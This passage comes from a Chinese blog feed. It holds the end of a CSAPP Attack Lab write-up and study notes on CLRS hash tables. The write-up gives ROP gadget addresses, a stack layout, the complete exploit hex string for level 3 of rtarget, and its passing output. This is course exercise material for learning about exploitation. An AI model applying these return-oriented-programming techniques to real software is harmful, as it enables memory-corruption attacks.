-&gt; <code>movl %ecx, %esi; ret</code> -&gt; 0x401a13</p></li><li><p><code>48 8d 04 37 c3</code> -&gt; <code>lea (%rdi, %rsi, 1), %rax; ret</code> -&gt; 0x4019d6</p></li><li><p><code>48 89 c7 c3</code> -&gt; <code>movq %rax, %rdi; ret</code> -&gt; 0x4019c5</p></li></ul><p>应该将 cookie 放在 0x4019c5 的下一行，内存布局如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">35</span><br><span class="line"></span><br><span class="line">39 62 39 39 37 66 61 00  // 0x59b997fa 的 ASCII 表示，注意末尾的 \0</span><br><span class="line"></span><br><span class="line">fa 18 40 00 00 00 00 00   # touch3 入口地址</span><br><span class="line"></span><br><span class="line">c5 19 40 00 00 00 00 00   # movq %rsp, %rax; ret</span><br><span class="line"></span><br><span class="line">d6 19 40 00 00 00 00 00   # lea (%rdi, %rsi, 1), %rax; ret</span><br><span class="line"></span><br><span class="line">13 1a 40 00 00 00 00 00   # movl %ecx, %esi; ret</span><br><span class="line"></span><br><span class="line">34 1a 40 00 00 00 00 00   # movl %edx, %ecx; ret</span><br><span class="line"></span><br><span class="line">dd 19 40 00 00 00 00 00   # movl %eax, %edx; ret</span><br><span class="line"></span><br><span class="line">48 00 00 00 00 00 00 00   // offset</span><br><span class="line"></span><br><span class="line">ab 19 40 00 00 00 00 00   # popq %rax; ret</span><br><span class="line"></span><br><span class="line">c5 19 40 00 00 00 00 00 // movq %rax, %rdi; ret</span><br><span class="line"></span><br><span class="line">06 1a 40 00 00 00 00 00 // movq %rsp, %rax; ret</span><br><span class="line"></span><br><span class="line">00 00 00 00 00 00 00 00 // padding</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00</span><br></pre></td></tr></table></figure><p>综上所述，我们可以开始构造输入：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line"></span><br><span class="line">06 1a 40 00 00 00 00 00</span><br><span class="line">c5 19 40 00 00 00 00 00</span><br><span class="line">ab 19 40 00 00 00 00 00</span><br><span class="line">48 00 00 00 00 00 00 00</span><br><span class="line">dd 19 40 00 00 00 00 00</span><br><span class="line">34 1a 40 00 00 00 00 00</span><br><span class="line">13 1a 40 00 00 00 00 00</span><br><span class="line">d6 19 40 00 00 00 00 00</span><br><span class="line">c5 19 40 00 00 00 00 00</span><br><span class="line">fa 18 40 00 00 00 00 00</span><br><span class="line"></span><br><span class="line">35 39 62 39 39 37 66 61 00</span><br></pre></td></tr></table></figure><p>PASS!</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">❯ cat exploit.txt| ./hex2raw| ./rtarget -q</span><br><span class="line">Cookie: 0x59b997fa</span><br><span class="line">Type string:Touch3!: You called touch3(&quot;59b997fa&quot;)</span><br><span class="line">Valid solution for level 3 with target rtarget</span><br><span class="line">PASS: Would have posted the following:</span><br><span class="line">        user id bovik</span><br><span class="line">        course  15213-f15</span><br><span class="line">        lab     attacklab</span><br><span class="line">        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 </span><br></pre></td></tr></table></figure><h2 id="conclusion"><a class="markdownIt-Anchor" href="#conclusion"></a> Conclusion</h2><p>非常有趣，加深对栈帧的理解，感觉 Bomb Lab 做完了之后也忘的差不多了，理解也不充分。</p><p><s>那么什么时候忘记 Attack Lab</s></p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/03/28/csapp/attack-lab/</id>
    <link href="https://blog.z0z0r4.top/2026/03/28/csapp/attack-lab/"/>
    <published>2026-03-28T06:12:00.000Z</published>
    <summary>
      <![CDATA[<p>这是 CSAPP LaB 记录的第三弹，两天完成 Attack Lab。</p>]]>
    </summary>
    <title>CSAPP Attack Lab</title>
    <updated>2026-03-28T06:48:52.025Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CLRS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CLRS/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CLRS" scheme="https://blog.z0z0r4.top/tags/CLRS/"/>
    <content>
      <![CDATA[<p>CLRS 第 11 章 Hash Tables 记录。</p><span id="more"></span><p>以下内容参考过 <a href="https://walkccc.me/CLRS/">Solutions to Introduction to Algorithms Third Edition</a></p><p>散列表是支持动态集合操作的数据结构，支持以下操作：</p><ul><li><p>INSERT，将一个新的元素放入集合中。</p></li><li><p>DELETE，从集合中移除一个特定的元素。</p></li><li><p>SEARCH，在集合中查找一个特定的元素。</p></li></ul><blockquote><p>以下的定义和 CLRS 的定义略不同，CLRS 中的散列表就是动态集合，键是元素，值是卫星数据。</p></blockquote><p>或者说，散列表是一种通过散列函数（Hash Function）将特定的键（Key）映射到表中的一个位置来访问记录的数据结构。</p><p>键值对是由一个键和一个值组成的数据项，其中键是唯一的标识符，而值是与该键相关联的数据。</p><h2 id="direct-address-tables"><a class="markdownIt-Anchor" href="#direct-address-tables"></a> Direct-address tables</h2><p>全域 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi><mo>=</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo separator="true">,</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">U = \{0, 1, ..., m-1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span> 指的是键的所有取值集合。</p><p>直接寻址法是一种简单的散列表实现方法，适用于全域范围较小且连续的情况。它使用一个数组来存储键值对，其中数组的索引直接对应于键的值。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">DirectAddressTable</span>&#123;</span><br><span class="line">    <span class="type">int</span> table[m]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span>:</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">insert</span><span class="params">(<span class="type">int</span> key, <span class="type">int</span> value)</span>:</span></span><br><span class="line"><span class="function">        table[key] =</span> <span class="function">value</span></span><br><span class="line"><span class="function">    </span></span><br><span class="line"><span class="function">    <span class="type">void</span> <span class="title">delete</span><span class="params">(<span class="type">int</span> key)</span>:</span></span><br><span class="line"><span class="function">        table[key] =</span> <span class="function">null</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">    <span class="type">int</span> <span class="title">search</span><span class="params">(<span class="type">int</span> key)</span>:</span></span><br><span class="line"><span class="function">        return table[key]</span></span><br><span class="line"><span class="function">&#125;</span></span><br></pre></td></tr></table></figure><p>显然三个操作时间复杂度为 O(1)。然而，直接寻址法的空间复杂度为 O(M)。如果键范围很大但实际使用的键较少，这种方法会浪费大量的空间。</p><hr /><blockquote><p>11.1-1<br />Suppose that a dynamic set S isrepresented byadirect-address table T of length m. Describe a procedure that finds the maximum element of S. What is the worst-case performance of your procedure?</p><p>假设动态集合 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 用一个长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的直接寻址表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 表示。请描述一个查找 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 中最大元素的算法过程。该算法在最坏情况下的性能是多少？</p></blockquote><p>要找到动态集合 S 中的最大元素，可以直接从后向前遍历表 T，第一个非空元素就是最大的元素，索引就是顺序</p><blockquote><p>11.1-2<br />A bit vector is simply an array of bits (0s and 1s). A bit vector of length m takes much less space than an array of m pointers. Describe how to use a bit vector to represent a dynamic set of distinct elements with no satellite data. Dictionary operations should run in <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> time.</p><p>位向量 (Bit vector) 简单来说就是一个由位（0 和 1）组成的数组。长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的位向量所占用的空间远小于包含 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 个指针的数组。请描述如何使用位向量来表示一个不含卫星数据且元素互不相同的动态集合。其字典操作的运行时间应为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p></blockquote><p>因为不需要存储指向卫星数据的指针，直接用 0 表示该值为索引值的元素不存在，用 1 表示存在，其他和直接寻址法一样。</p><blockquote><p>11.1-3<br />Suggest how to implement a direct-address table in which the keys of stored elements do not need to be distinct and the elements can have satellite data. All three dictionary operations (INSERT, DELETE, and SEARCH) should run in <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> time. (Don’t forget that DELETE takes as an argument a pointer to an object to be deleted, not a key.)</p><p>请说明如何实现一个直接寻址表，使得其中存储的元素键值无需互不相同，且元素可以包含卫星数据。所有三种字典操作（INSERT、DELETE 和 SEARCH）均应在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 时间内运行。（别忘了，DELETE 操作的参数是指向待删除对象的指针，而非键值。）</p></blockquote><p>直接寻址法且允许键不唯一，那么可以在每个索引位置创建一个双向链表，存储具有相同键的元素。</p><p>INSERT 操作将新元素添加到列表中，DELETE 操作直接删除该链表节点，SEARCH 操作返回链表中第一个匹配的元素。显然符合 O(1) 时间复杂度。</p><blockquote><p>11.1-4 ?<br />We wish to implement a dictionary by using direct addressing on a huge array. At the start, the array entries may contain garbage, and initializing the entire array is impractical because of its size. Describe a scheme for implementing a direct address dictionary on a huge array. Each stored object should use <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> space; the operations SEARCH, INSERT, and DELETE should take <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> time each; and initializing the data structure should take <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> time. (Hint: Use an additional array, treated somewhat like a stack whose size is the number of keys actually stored in the dictionary, to help determine whether a given entry in the huge array is valid or not.)</p><p>我们希望通过在一个巨型数组上使用直接寻址来实现一个字典。初始时，数组条目可能包含垃圾数据，且由于数组过大，初始化整个数组并不切实际。请描述一种在巨型数组上实现直接寻址字典的方案。每个存储的对象应占用 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 空间；</p><p>SEARCH、INSERT 和 DELETE 操作应各花费 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 时间；并且初始化该数据结构应花费 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 时间。</p><p>（提示：使用一个额外的数组，其表现类似于栈，大小为字典中实际存储的键值数量，以此来帮助确定巨型数组中的给定条目是否有效。）</p></blockquote><p><strong>TLDR: <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>n</mi><mi>s</mi><mi>e</mi><mo stretchy="false">[</mo><mi>s</mi><mi>p</mi><mi>a</mi><mi>r</mi><mi>s</mi><mi>e</mi><mo stretchy="false">[</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">]</mo><mo stretchy="false">]</mo><mo>=</mo><mi>k</mi><mi>e</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">dense[sparse[key]] = key</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">se</span><span class="mopen">[</span><span class="mord mathnormal">s</span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal">rse</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mclose">]]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span></span></span></span></strong></p><p>新建一个栈（一个数组实现的栈） <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>，存储实际的键值对，在大数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 上按照直接寻址法存储指向 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 的对应索引的指针。初始时，栈 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 为空，大数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 不需要处理。</p><blockquote><p>栈 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 维护 <code>top</code> 变量，如果 <code>sparse[key] &gt; top</code> 则不用再去检查 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 中的键值对了，直接无效</p></blockquote><p>通过检查 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 所存的键是否与 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 上的索引匹配来判断 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 上的索引是否有效。（或者简单点，不在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 中存键只存值，直接以指针有效与否来判断，但脏数据可能意外与有效的指针碰撞）</p><ul><li><p>INSERT 操作将键值对添加到栈顶，然后在大数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 上存储指向该键值对的指针。</p></li><li><p>DELETE 操作将栈顶元素与要删除的元素交换，然后弹出栈顶元素，并在大数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 上将待删除索引置空，将交换后的元素的索引更新为新的位置。</p></li><li><p>SEARCH 操作直接访问大数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 上的对应索引，如果指针有效则返回对应的键值对。</p></li></ul><blockquote><p>我没想出来，尽管我在 <a href="/2026/01/18/CS61B-Note-Collection/#double-array-trie">Double-Array Trie</a> 中已经见过类似的 “check” 机制…</p></blockquote><p>这种东西似乎叫做 Sparse Set，稀疏集合。</p><p>除了 INSERT、DELETE 和 SEARCH 操作之外，实际上还有个隐含的操作是初始化。虽然一般而言，分配到的总是会已经清空的内存块，但在编译器优化方面非常有用，例如寄存器分配等。</p><p>见 <a href="https://www.geeksforgeeks.org/dsa/sparse-set/">https://www.geeksforgeeks.org/dsa/sparse-set/</a> <a href="https://research.swtch.com/sparse">https://research.swtch.com/sparse</a></p><h2 id="hash-table"><a class="markdownIt-Anchor" href="#hash-table"></a> Hash Table</h2><p>显然直接寻址法的空间复杂度对于全域 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi><mo>=</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo separator="true">,</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">U = \{0, 1, ..., m-1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span> 来说是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(M)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" 